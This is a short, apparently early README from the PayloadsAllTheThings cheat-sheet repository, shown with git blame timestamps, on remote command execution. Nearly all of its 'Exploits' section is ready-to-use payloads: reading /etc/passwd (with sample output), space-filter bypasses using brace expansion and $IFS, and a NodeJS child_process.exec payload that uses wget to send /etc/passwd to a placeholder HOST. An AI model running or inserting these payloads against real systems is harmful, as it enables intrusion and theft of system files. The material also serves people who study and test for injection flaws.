PayloadsAllTheThings/Remote commands execution/README.md

28 lines
527 B
Markdown
Raw Normal View History

2016-10-18 06:02:14 +00:00
# Remote Code Execution
Remote code execution is a security vulnerability that allows an attacker to execute codes from a remote server.
2016-10-18 08:01:56 +00:00
2016-10-18 06:39:17 +00:00
## Exploits
2016-10-18 06:02:14 +00:00
Normal code execution
```
cat /etc/passwd
2016-10-18 06:04:50 +00:00
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
2016-10-18 06:02:14 +00:00
```
Code execution without space
```
{cat,/etc/passwd}
cat$IFS/etc/passwd
```
2016-10-18 08:01:56 +00:00
2016-10-18 06:02:14 +00:00
NodeJS Code execution
2016-10-18 08:01:56 +00:00
```
2016-10-18 06:02:14 +00:00
require('child_process').exec('wget+--post-data+"x=$(cat+/etc/passwd)"+HOST')
2016-10-18 08:01:56 +00:00
```
## Thanks to
2016-10-18 06:02:14 +00:00
*